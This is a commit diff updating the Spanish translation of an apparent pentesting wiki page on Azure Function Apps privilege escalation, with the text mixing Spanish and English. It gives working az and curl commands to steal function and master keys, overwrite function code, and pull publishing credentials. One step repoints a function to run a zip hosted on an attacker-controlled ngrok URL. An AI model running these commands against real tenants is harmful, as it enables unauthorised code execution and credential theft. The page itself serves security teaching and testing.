mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+98
-58
@@ -10,28 +10,28 @@ Consulta la siguiente página para más información:
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Lectura/Escritura de Bucket
|
||||
### Bucket Read/Write
|
||||
|
||||
Con permisos para leer los contenedores dentro de la Cuenta de Almacenamiento que almacena los datos de la función, es posible encontrar **diferentes contenedores** (personalizados o con nombres predefinidos) que pueden contener **el código ejecutado por la función**.
|
||||
Con permisos para leer los containers dentro de la Storage Account que almacena los datos de la function, es posible encontrar **diferentes containers** (personalizados o con nombres predefinidos) que podrían contener **el code ejecutado por la function**.
|
||||
|
||||
Una vez que encuentres dónde se encuentra el código de la función, si tienes permisos de escritura sobre él, puedes hacer que la función ejecute cualquier código y escalar privilegios a las identidades administradas adjuntas a la función.
|
||||
Una vez que encuentres dónde está ubicado el code de la function, si tienes permisos de escritura sobre él puedes hacer que la function ejecute cualquier code y escalar privilegios a las managed identities adjuntas a la function.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`)
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`)
|
||||
|
||||
El código de la función generalmente se almacena dentro de un recurso compartido de archivos. Con suficiente acceso, es posible modificar el archivo de código y **hacer que la función cargue código arbitrario**, lo que permite escalar privilegios a las identidades administradas adjuntas a la Función.
|
||||
El code de la function suele almacenarse dentro de un file share. Con suficiente acceso es posible modificar el archivo de code y **hacer que la function load arbitrary code** permitiendo escalar privilegios a las managed identities adjuntas a la Function.
|
||||
|
||||
Este método de implementación generalmente configura los ajustes **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** que puedes obtener de
|
||||
Este método de deployment normalmente configura los settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** which you can get from
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Esas configuraciones contendrán la **Storage Account Key** que la Función puede usar para acceder al código.
|
||||
Esas configs contendrán la **Storage Account Key** que la Function puede usar para acceder al código.
|
||||
|
||||
> [!CAUTION]
|
||||
> Con suficientes permisos para conectarse al File Share y **modificar el script** en ejecución, es posible ejecutar código arbitrario en la Función y escalar privilegios.
|
||||
> Con permisos suficientes para conectarse al File Share y **modificar el script** que se está ejecutando, es posible ejecutar código arbitrario en la Function y escalar privilegios.
|
||||
|
||||
El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda también consultar la siguiente página para más información sobre file shares:
|
||||
El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda revisar también la siguiente página para más información sobre file shares:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
También es común encontrar los **zip releases** dentro de la carpeta `function-releases` del contenedor de la Cuenta de Almacenamiento que la aplicación de función está utilizando en un contenedor **generalmente llamado `function-releases`**.
|
||||
También es común encontrar las **zip releases** dentro de la carpeta `function-releases` del contenedor de Storage Account que la function app está usando, en un contenedor **usualmente llamado `function-releases`**.
|
||||
|
||||
Normalmente, este método de despliegue configurará el `WEBSITE_RUN_FROM_PACKAGE` en:
|
||||
Normalmente este método de despliegue establecerá la configuración `WEBSITE_RUN_FROM_PACKAGE` en:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Esta configuración generalmente contendrá una **URL SAS para descargar** el código de la Cuenta de Almacenamiento.
|
||||
Esta configuración suele contener una **SAS URL para descargar** el código desde el Storage Account.
|
||||
|
||||
> [!CAUTION]
|
||||
> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en zip**, es posible ejecutar código arbitrario en la Función y escalar privilegios.
|
||||
> Con permisos suficientes para conectarse al blob container que **contiene el código en zip** es posible ejecutar código arbitrario en la Function y escalar privilegios.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Al igual que en el caso anterior, si el despliegue se realiza a través de Github Actions, es posible encontrar la carpeta **`github-actions-deploy`** en la Cuenta de Almacenamiento que contiene un zip del código y una URL SAS al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Al igual que en el caso anterior, si el despliegue se realiza vía Github Actions es posible encontrar la carpeta **`github-actions-deploy`** en el Storage Account que contiene un zip del código y una SAS URL al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`)
|
||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Con permisos para leer los contenedores dentro de la Cuenta de Almacenamiento que almacena los datos de la función, es posible encontrar el contenedor **`scm-releases`**. Allí es posible encontrar la última versión en **formato de archivo de sistema de archivos Squashfs** y, por lo tanto, es posible leer el código de la función:
|
||||
Con permisos para leer los contenedores dentro del Storage Account que almacena los datos de la function es posible encontrar el contenedor **`scm-releases`**. Allí se puede encontrar la última release en **Squashfs filesystem file format** y por lo tanto es posible leer el código de la function:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
También es posible encontrar las **claves master y de funciones** almacenadas en la cuenta de almacenamiento en el contenedor **`azure-webjobs-secrets`** dentro de la carpeta **`<app-name>`** en los archivos JSON que puedes encontrar dentro.
|
||||
También es posible encontrar las **master and functions keys** almacenadas en la storage account en el container **`azure-webjobs-secrets`** dentro de la carpeta **`<app-name>`** en los archivos JSON que puedes encontrar en su interior.
|
||||
|
||||
> [!CAUTION]
|
||||
> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en un archivo con extensión zip** (que en realidad es un **`squashfs`**), es posible ejecutar código arbitrario en la Función y escalar privilegios.
|
||||
> Con permisos suficientes para conectarse al blob container que **contains the code in a zip extension file** (que en realidad es un **`squashfs`**) es posible ejecutar código arbitrario en la Function y escalar privilegios.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
Este permiso permite listar las claves de función, maestro y sistema, pero no la clave de host, de la función especificada con:
|
||||
Este permiso permite listar las claves function, master y system, pero no la host, de la función especificada con:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
Con la clave maestra, también es posible obtener el código fuente en una URL como:
|
||||
Con la master key también es posible obtener el código fuente en una URL como:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -130,25 +130,38 @@ az rest --method GET \
|
||||
|
||||
# Access
|
||||
curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
# Python function app example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
# JavaScript function app example
|
||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||
```
|
||||
Y para **cambiar el código que se está ejecutando** en la función con:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
## Python function app example
|
||||
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
|
||||
--data-binary @/tmp/function_app.py \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
|
||||
# NodeJS function app example
|
||||
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
|
||||
--data-binary @/tmp/index.js \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
Este permiso permite obtener la clave de host de la función especificada con:
|
||||
Este permiso permite obtener la default key de la función especificada con:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
Invoca la función utilizando la clave predeterminada obtenida:
|
||||
```bash
|
||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
Este permiso permite crear/actualizar una clave de función de la función especificada con:
|
||||
@@ -157,43 +170,51 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
Este permiso permite crear/actualizar una clave maestra para la función especificada con:
|
||||
Este permiso permite crear/actualizar una master key para la función especificada con:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> ¡Recuerda que con esta clave también puedes acceder al código fuente y modificarlo como se explicó antes!
|
||||
> Recuerda que con esta key también puedes acceder al código fuente y modificarlo como se explicó antes!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
Este permiso permite crear/actualizar una clave de función del sistema para la función especificada con:
|
||||
Este permiso permite crear/actualizar una system function key para la función especificada con:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
Usa la clave:
|
||||
```bash
|
||||
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||
|
||||
# Ejemplo: Acceso a Event Grid webhooks
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
Este permiso permite obtener la configuración de una función. Dentro de estas configuraciones, podría ser posible encontrar los valores predeterminados **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contienen una **clave de cuenta para acceder al almacenamiento de blobs de la función con permisos COMPLETOS**.
|
||||
Este permiso permite obtener la configuración de una función. Dentro de estas configuraciones podría ser posible encontrar los valores predeterminados **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, que contienen una **clave de cuenta para acceder al blob storage de la función con permisos COMPLETOS**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
Además, este permiso también permite obtener el **nombre de usuario y la contraseña de SCM** (si está habilitado) con:
|
||||
Además, este permiso también permite obtener el **SCM username and password** (si está habilitado) con:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecutará dentro de la función.
|
||||
Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecuta dentro de la función.
|
||||
|
||||
Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en URL que contenga el nuevo código a ejecutar dentro de una aplicación web:
|
||||
Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en una URL que contenga el nuevo código a ejecutar dentro de una aplicación web:
|
||||
|
||||
- Comience obteniendo la configuración actual
|
||||
- Comienza por obtener la configuración actual
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- Crea el código que deseas que la función ejecute y hospédalo públicamente.
|
||||
- Crea el código que quieras que la función ejecute y alójalo públicamente
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -205,7 +226,7 @@ ngrok http 8000
|
||||
```
|
||||
- Modifica la función, mantén los parámetros anteriores y añade al final la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a la URL con el **zip** que contiene el código.
|
||||
|
||||
El siguiente es un ejemplo de **mis propios ajustes que necesitarás cambiar los valores por los tuyos**, nota al final los valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde estaba alojando la aplicación.
|
||||
La siguiente es un ejemplo de mis **propias configuraciones que tendrás que cambiar por las tuyas**, nota al final el valor `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde alojaba la app.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -215,7 +236,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o a través del siguiente punto final de API):
|
||||
Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o mediante el siguiente endpoint de la API):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -223,10 +244,29 @@ az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
|
||||
# Through the SCM URL (using Azure permissions or SCM creds)
|
||||
az rest --method PUT \
|
||||
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
|
||||
--resource "https://management.azure.com/" \
|
||||
--headers "If-Match=*" \
|
||||
--body 'module.exports = async function (context, req) {
|
||||
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
|
||||
|
||||
const name = (req.query.name || (req.body && req.body.name));
|
||||
const responseMessage = name
|
||||
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
|
||||
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
|
||||
|
||||
context.res = {
|
||||
// status: 200, /* Defaults to 200 */
|
||||
body: responseMessage
|
||||
};
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
Este permiso permite listar todos los perfiles de publicación que básicamente contienen **credenciales de autenticación básica**:
|
||||
Este permiso permite listar todos los publishing profiles que básicamente contienen **basic auth credentials**:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
Otra opción sería establecer tus propias credenciales y usarlas con:
|
||||
Otra opción sería configurar tus propios creds y usarlos con:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- Si las credenciales de **REDACTED**
|
||||
- Si las credenciales están **REDACTED**
|
||||
|
||||
Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción de autenticación básica de SCM** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción SCM de autenticación básica** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -264,7 +304,7 @@ az rest --method PUT \
|
||||
```
|
||||
- **Método SCM**
|
||||
|
||||
Luego, puedes acceder con estas **credenciales de autenticación básica a la URL de SCM** de tu aplicación de funciones y obtener los valores de las variables de entorno:
|
||||
Entonces, puedes acceder con estas **basic auth credentials to the SCM URL** de tu function app y obtener los valores de las env variables:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
@@ -275,15 +315,15 @@ zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Tenga en cuenta que el **nombre de usuario SCM** suele ser el carácter "$" seguido del nombre de la aplicación, así que: `$<app-name>`._
|
||||
_Nota que el **SCM username** suele ser el carácter "$" seguido del nombre de la app, así: `$<app-name>`._
|
||||
|
||||
También puede acceder a la página web desde `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
También puedes acceder a la página web desde `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
Los valores de configuración contienen la **AccountKey** de la cuenta de almacenamiento que almacena los datos de la aplicación de función, lo que permite controlar esa cuenta de almacenamiento.
|
||||
Los valores de configuración contienen el **AccountKey** de la storage account que almacena los datos de la function app, lo que permite controlar esa storage account.
|
||||
|
||||
- **Método FTP**
|
||||
|
||||
Conéctese al servidor FTP usando:
|
||||
Conéctate al servidor FTP usando:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
@@ -297,19 +337,19 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_Tenga en cuenta que el **nombre de usuario FTP** suele estar en el formato \<nombre-de-la-aplicación>\\$\<nombre-de-la-aplicación>._
|
||||
_Tenga en cuenta que el **FTP username** suele tener el formato \<app-name>\\$\<app-name>._
|
||||
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
Este permiso permite **leer el código fuente** de la aplicación a través del VFS:
|
||||
Este permiso permite **leer el código fuente** de la app a través del VFS:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
Con este permiso es posible [obtener el **token de administrador**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que puede ser utilizado posteriormente para recuperar la **clave maestra** y, por lo tanto, acceder y modificar el código de la función.
|
||||
Con este permiso es posible [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que posteriormente puede usarse para recuperar la **master key** y, por lo tanto, acceder y modificar el código de la función.
|
||||
|
||||
Sin embargo, en mis últimos chequeos no se devolvió ningún token, por lo que podría estar deshabilitado o no funcionar más, pero aquí está cómo lo harías:
|
||||
Sin embargo, en mis últimas comprobaciones no se devolvió ningún token, por lo que podría estar deshabilitado o ya no funcionar; pero aquí se muestra cómo lo harías:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
Este permiso permite **habilitar funciones** que pueden estar deshabilitadas (o deshabilitarlas).
|
||||
Este permiso permite **habilitar functions** que podrían estar deshabilitadas (o deshabilitarlas).
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -335,7 +375,7 @@ az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/res
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
Con estos permisos es posible **modificar el contenedor ejecutado por una aplicación de función** configurada para ejecutar un contenedor. Esto permitiría a un atacante subir una aplicación de contenedor de función de Azure maliciosa a Docker Hub (por ejemplo) y hacer que la función la ejecute.
|
||||
Con estos permisos es posible **modificar el container run by a function app** configurado para run a container. Esto permitiría a un atacante subir una azure function container app maliciosa a docker hub (por ejemplo) y hacer que la función la ejecute.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -343,29 +383,29 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
Con estos permisos es posible **adjuntar una nueva identidad administrada por el usuario a una función**. Si la función fue comprometida, esto permitiría escalar privilegios a cualquier identidad administrada por el usuario.
|
||||
Con estos permisos es posible **adjuntar una nueva identidad administrada de usuario a una función**. Si la función fuera comprometida, esto permitiría escalar privilegios a cualquier identidad administrada de usuario.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### Depuración Remota
|
||||
### Depuración remota
|
||||
|
||||
También es posible conectarse para depurar una función de Azure en ejecución como [**se explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto, Azure desactivará esta opción en 2 días en caso de que el desarrollador se olvide para evitar dejar configuraciones vulnerables.
|
||||
También es posible conectarse para depurar una Azure Function en ejecución como [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto Azure desactivará esta opción pasados 2 días en caso de que el desarrollador la olvide, para evitar dejar configuraciones vulnerables.
|
||||
|
||||
Es posible verificar si una función tiene la depuración habilitada con:
|
||||
Es posible comprobar si una Function tiene la depuración habilitada con:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
Teniendo el permiso `Microsoft.Web/sites/config/write`, también es posible poner una función en modo de depuración (el siguiente comando también requiere los permisos `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` y `Microsoft.Web/sites/Read`).
|
||||
Teniendo el permiso `Microsoft.Web/sites/config/write` también es posible poner una función en modo de depuración (el siguiente comando también requiere los permisos `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` y `Microsoft.Web/sites/Read`).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Cambiar el repositorio de Github
|
||||
### Cambiar repo de Github
|
||||
|
||||
Intenté cambiar el repositorio de Github desde donde se está realizando el despliegue ejecutando los siguientes comandos, pero incluso si cambió, **el nuevo código no se cargó** (probablemente porque está esperando que la acción de Github actualice el código).\
|
||||
Además, **la credencial federada de identidad administrada no se actualizó** permitiendo el nuevo repositorio, por lo que parece que esto no es muy útil.
|
||||
Intenté cambiar el repo de Github desde donde ocurre el despliegue ejecutando los siguientes comandos, pero aunque cambió, **el nuevo código no se cargó** (probablemente porque espera que la Github Action actualice el código).\
|
||||
Además, la **managed identity federated credential no se actualizó** para permitir el nuevo repositorio, así que parece que esto no es muy útil.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
Reference in New Issue
Block a user